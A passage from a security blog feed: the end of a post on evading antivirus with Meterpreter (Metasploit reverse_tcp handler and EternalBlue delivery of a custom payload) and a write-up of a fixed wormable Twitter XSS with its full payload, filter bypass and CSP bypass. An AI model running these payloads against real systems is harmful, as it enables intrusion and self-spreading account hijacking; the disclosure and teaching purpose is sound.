msf5 exploit(multi/handler) &gt; set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =&gt; windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) &gt; set LHOST 10.0.0.5
LHOST =&gt; 10.0.0.5
msf5 exploit(multi/handler) &gt; set LPORT 9090
LPORT =&gt; 9090
msf5 exploit(multi/handler) &gt; exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.0.5:9090" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">msf5 &gt; use exploit/multi/handler</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; set </span><span style="color: #4FC1FF">PAYLOAD</span><span style="color: #D4D4D4"> windows/meterpreter/reverse_tcp</span></span>
<span class="line"><span style="color: #4FC1FF">PAYLOAD</span><span style="color: #D4D4D4"> =&gt; windows/meterpreter/reverse_tcp</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; set </span><span style="color: #4FC1FF">LHOST</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.5</span></span>
<span class="line"><span style="color: #4FC1FF">LHOST</span><span style="color: #D4D4D4"> =&gt; </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.5</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; set </span><span style="color: #4FC1FF">LPORT</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">9090</span></span>
<span class="line"><span style="color: #4FC1FF">LPORT</span><span style="color: #D4D4D4"> =&gt; </span><span style="color: #B5CEA8">9090</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; exploit -j</span></span>
<span class="line"><span style="color: #D4D4D4">[*] </span><span style="color: #4FC1FF">Exploit</span><span style="color: #D4D4D4"> running as background job </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">.</span></span>
<span class="line"><span style="color: #D4D4D4">[*] </span><span style="color: #4FC1FF">Exploit</span><span style="color: #D4D4D4"> completed, but no session was created.</span></span>
<span class="line"><span style="color: #D4D4D4">[*] </span><span style="color: #4FC1FF">Started</span><span style="color: #D4D4D4"> reverse </span><span style="color: #4FC1FF">TCP</span><span style="color: #D4D4D4"> handler on </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.5</span><span style="color: #D4D4D4">:</span><span style="color: #B5CEA8">9090</span></span></code></pre></div>



<p>To launch our shiny new payload as part of an exploit, we can use the <code>generic/custom</code> payload and specify the filename of our binary:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="msf5 &gt; use windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payload generic/custom
payload =&gt; generic/custom
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payloadfile /home/demo/Project1.exe
payloadfile =&gt; /home/demo/Project1.exe
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set RHOSTS 10.0.0.30
RHOSTS =&gt; 10.0.0.30
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; exploit" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">msf5 &gt; use windows/smb/ms17_010_eternalblue</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payload generic/custom</span></span>
<span class="line"><span style="color: #D4D4D4">payload =&gt; generic/custom</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payloadfile /home/demo/</span><span style="color: #4EC9B0">Project1</span><span style="color: #D4D4D4">.exe</span></span>
<span class="line"><span style="color: #D4D4D4">payloadfile =&gt; </span><span style="color: #D16969">/home/</span><span style="color: #D4D4D4">demo/</span><span style="color: #4EC9B0">Project1</span><span style="color: #D4D4D4">.exe</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set </span><span style="color: #4FC1FF">RHOSTS</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.30</span></span>
<span class="line"><span style="color: #4FC1FF">RHOSTS</span><span style="color: #D4D4D4"> =&gt; </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.30</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; exploit</span></span></code></pre></div>
<p>The post <a href="https://www.virtuesecurity.com/evading-antivirus-with-better-meterpreter-payloads/">Evading Antivirus with Better Meterpreter Payloads</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1151</post-id>	</item>
		<item>
		<title>Tale of a Wormable Twitter XSS</title>
		<link>https://www.virtuesecurity.com/tale-of-a-wormable-twitter-xss/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Thu, 02 May 2019 05:11:20 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=264</guid>

					<description><![CDATA[<p>This is a tale of how we found a wormable XSS on Twitter, and how we managed to fully bypass its CSP policy.</p>
<p>The post <a href="https://www.virtuesecurity.com/tale-of-a-wormable-twitter-xss/">Tale of a Wormable Twitter XSS</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img width="625" height="201" data-src="https://www.virtuesecurity.com/wp-content/uploads/2019/05/TwitterWorm-1.png" alt="" class="wp-image-1416"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2019/05/TwitterWorm-1.png 625w, https://www.virtuesecurity.com/wp-content/uploads/2019/05/TwitterWorm-1-300x96.png 300w" sizes="(max-width: 625px) 100vw, 625px" /><figcaption class="wp-element-caption">TwitterXSSWorm</figcaption></figure>


<h2 id="vulnerability-background">Vulnerability Background</h2>
<p>In mid-2018, I found a stored XSS on Twitter in the least likely place you could think of. Yes, right in the tweet! But what makes this XSS so special is that it had the potential to be turned into a fully-fledged XSS worm. If the concept of XSS worms is new to you, you might want to read more about it on<span> </span><a href="https://en.wikipedia.org/wiki/XSS_worm" target="_blank" rel="noopener noreferrer">Wikipedia</a>.</p>


<h2 id="a-one-click-xss-worm">A One-click XSS Worm</h2>
<p>Let me jump right to the full exploit and then we can explain the magic later on. Before this got fixed, tweeting the following URL would have created an XSS worm that spreads from account to account throughout the Twitterverse:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="https://twitter.com/messages/compose?recipient_id=988260476659404801&amp;welcome_message_id=988274596427304964&amp;text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">https://twitter.com/messages/compose?recipient_id=988260476659404801&amp;welcome_message_id=988274596427304964&amp;text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E</span></span></code></pre></div>


<p>“How so? It’s just a link!”, you might wonder. But this, my friend, is no ordinary link. It’s a Welcome Message deeplink 1. The deeplink gets rendered as a <a href="https://twitter.com/kyoko6516713624/status/1114991578353930240">Twitter card</a>:</p>


        <figure class="blog-img no-br">
            <img width="591" height="125" data-src="https://www.virtuesecurity.com/wp-content/uploads/2019/05/twcard-1.png" class="attachment-full size-full" alt="" data-srcset="https://www.virtuesecurity.com/wp-content/uploads/2019/05/twcard-1.png 591w, https://www.virtuesecurity.com/wp-content/uploads/2019/05/twcard-1-300x63.png 300w" sizes="(max-width: 591px) 100vw, 591px" / loading="lazy" class="lazyload">                            <a href="https://x.com/kyoko6516713624/status/1114991578353930240"                    target="_self" title=""></a>
                    </figure>
    

<h2>A Flaw in Twitter Cards</h2>
<p>This Twitter card is actually an iframe element which points to <code>https://twitter.com/i/cards/tfw/v1/1114991578353930240</code>. The iframe is obviously same-origin and not sandboxed (which means we have DOM access to the parent webpage). The payload in the “text” parameter would then get reflected back in an inline JSON object as the value of the <code>default_composer_text</code> key:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="&lt;script type=&quot;text/twitter-cards-serialization&quot;&gt;
  {
    &quot;strings&quot;: { },
    &quot;card&quot;: {
  &quot;viewer_id&quot; : &quot;988260476659404801&quot;,
  &quot;is_caps_enabled&quot; : true,
  &quot;forward&quot; : &quot;false&quot;,
  &quot;is_logged_in&quot; : true,
  &quot;is_author&quot; : true,
  &quot;language&quot; : &quot;en&quot;,
  &quot;card_name&quot; : &quot;2586390716:message_me&quot;,
  &quot;welcome_message_id&quot; : &quot;988274596427304964&quot;,
  &quot;token&quot; : &quot;[redacted]&quot;,
  &quot;is_emojify_enabled&quot; : true,
  &quot;scribe_context&quot; : &quot;%7B%7D&quot;,
  &quot;is_static_view&quot; : false,
  &quot;default_composer_text&quot; : &quot;&lt;/script&gt;&lt;iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640&gt;&lt;/iframe&gt;&lt;script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12&gt;&lt;/script&gt;&lt;script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12&gt;\\u00A0&quot;,
  &quot;recipient_id&quot; : &quot;988260476659404801&quot;,
  &quot;card_uri&quot; : &quot;https://t.co/1vVzoyquhh&quot;,
  &quot;render_card&quot; : true,
  &quot;tweet_id&quot; : &quot;1114991578353930240&quot;,
  &quot;card_url&quot; : &quot;https://t.co/1vVzoyquhh&quot;
},
    &quot;twitter_cldr&quot;: false,
    &quot;scribeData&quot;: {
      &quot;card_name&quot;: &quot;2586390716:message_me&quot;,
      &quot;card_url&quot;: &quot;https://t.co/1vVzoyquhh&quot;
      
      
      
    }
  }
&lt;/script&gt;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #808080">&lt;</span><span style="color: #569CD6">script</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">type</span><span style="color: #D4D4D4">=</span><span style="color: #CE9178">&quot;text/twitter-cards-serialization&quot;</span><span style="color: #808080">&gt;</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #569CD6">{</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #CE9178">&quot;strings&quot;</span><span style="color: #D4D4D4">: { },</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #CE9178">&quot;card&quot;</span><span style="color: #D4D4D4">: {</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;viewer_id&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;988260476659404801&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;is_caps_enabled&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;forward&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;false&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;is_logged_in&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;is_author&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;language&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;en&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;card_name&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;2586390716:message_me&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;welcome_message_id&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;988274596427304964&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;token&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;[redacted]&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;is_emojify_enabled&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;scribe_context&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;%7B%7D&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;is_static_view&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">false</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;default_composer_text&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;&lt;/script&gt;&lt;iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640&gt;&lt;/iframe&gt;&lt;script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12&gt;&lt;/script&gt;&lt;script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12&gt;</span><span style="color: #D7BA7D">\\</span><span style="color: #CE9178">u00A0&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;recipient_id&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;988260476659404801&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;card_uri&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;https://t.co/1vVzoyquhh&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;render_card&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;tweet_id&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;1114991578353930240&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #CE9178">&quot;card_url&quot;</span><span style="color: #9CDCFE"> :</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;https://t.co/1vVzoyquhh&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">},</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #CE9178">&quot;twitter_cldr&quot;</span><span style="color: #D4D4D4">: </span><span style="color: #569CD6">false</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #CE9178">&quot;scribeData&quot;</span><span style="color: #D4D4D4">: {</span></span>
<span class="line"><span style="color: #D4D4D4">      </span><span style="color: #CE9178">&quot;card_name&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;2586390716:message_me&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">      </span><span style="color: #CE9178">&quot;card_url&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;https://t.co/1vVzoyquhh&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">      </span></span>
<span class="line"><span style="color: #D4D4D4">      </span></span>
<span class="line"><span style="color: #D4D4D4">      </span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #569CD6">}</span></span>
<span class="line"><span style="color: #808080">&lt;/</span><span style="color: #569CD6">script</span><span style="color: #808080">&gt;</span></span></code></pre></div>


<p>Note: Once the HTML parser encounters a closing script tag</p>
<p><code>&lt;/script&gt;</code> anywhere after the initial opening tag <code>&lt;script&gt;</code>, <span> it gets immediately terminated even when the encountered</span></p>
<p><span> <code>&lt;/script&gt;</code> tag is inside a string literal a comment, or a regex….</span></p>


<h2>Bypassing Input Validation</h2>
<p>But before you could get to this point, you’d have had to overcome many limitations and obstacles first:</p>
<ul>
<li>Both single and double quotes get escaped to</li>
</ul>
<p><code>​\'</code> and <code>\"</code>, respectively.</p>
<ul>
<li>HTML tags get stripped (so <code>a&lt;/script&gt;b</code> would become <code>ab</code>).</li>
<li>The payload gets truncated at around 300 characters.</li>
<li>There is a CSP policy in place which disallows non-whitelisted inline scripts.</li>
</ul>
<p>At first glance, these might look like proper countermeasures. But the moment I noticed the HTML-tag stripping behavior, my spidey sense started tingling. That’s because this is usually error-prone. Unlike escaping individual characters, stripping tags requires HTML parsing (and parsing is always hard to get right, regexes anybody?).</p>


<h2 id="chaining-vulnerabilities">Chaining Vulnerabilities</h2>
<p>So I started fiddling with a very basic payload<span> </span><code>&lt;/script&gt;&lt;svg onload=alert()&gt;</code><span> </span>and kept fiddling until I ended up with<span> </span><code>&lt;&lt;/&lt;x&gt;/script/test000&gt;&lt;&lt;/&lt;/x&gt;&lt;x&gt;svg onload=alert()&gt;&lt;/&gt;&lt;script&gt;1&lt;\x&gt;2</code><span> </span>which got turned into<span> </span><code>&lt;/script/test000&gt;&lt;svg onload=alert()&gt;</code>. Jackpot, I immediately reported my finding to the Twitter security team at this point and didn’t wait until I found a bypass for the CSP policy.</p>


<h2 id="bypassing-csp">Bypassing CSP</h2>
<p>Now, let’s take a closer look at Twitter’s CSP policy:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' https://twitter.com https://*.twimg.com https://ton.twitter.com 'self'; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:8889 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging.smf1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com 'self' https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com 'self'; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: 'self'; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: 'self'; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com 'self'; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: 'self'; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&amp;ro=false;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #9CDCFE">script</span><span style="color: #D4D4D4">-</span><span style="color: #9CDCFE">src</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&#39;nonce-ETj41imzIQ/aBrjFcbynCg==&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #C8C8C8">https</span><span style="color: #D4D4D4">:</span><span style="color: #6A9955">//twitter.com https://*.twimg.com https://ton.twitter.com &#39;self&#39;; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:8889 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging.smf1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com &#39;self&#39; https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com &#39;self&#39;; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: &#39;self&#39;; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: &#39;self&#39;; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com &#39;unsafe-inline&#39; &#39;self&#39;; object-src &#39;none&#39;; default-src &#39;self&#39;; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com &#39;self&#39;; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: &#39;self&#39;; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&amp;ro=false;</span></span></code></pre></div>


<p>An interesting fact is, Twitter doesn’t deploy one global CSP policy throughout the entire app. Instead, different parts of the app have different CSP policies. This is the CSP policy for Twitter cards, and we are only interested in the<span> </span><code>script-src</code><span> </span>directive for now.</p>
<p>To the trained eye, the wildcard origin<span> </span><code>https://*.twimg.com</code><span> </span>looks too permissive and is most likely to be the vulnerable point. So it wasn’t very hard to find a JSONP endpoint on a subdomain of<span> </span><code>twimg.com</code>:<span> </span><code>https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12</code></p>
<p>The hard part was, bypassing the callback validation. You can’t simply just specify any callback you like, it must start with the<span> </span><code>\_\_twttr</code><span> </span>prefix (otherwise, the callback is rejected). This means you can’t pass built-in functions like<span> </span><code>alert</code><span> </span>for instance (but you could use<span> </span><code>\_\_twttralert</code>, which of course evaluates to<span> </span><code>undefined</code>). I then did a few checks to see which characters are filtered for the callback and which are allowed, and oddly enough, forward slashes were allowed in the “callback” parameter (i.e.,<span> </span><code>?callback=__twttr/alert</code>). This would then result in the following response:</p>



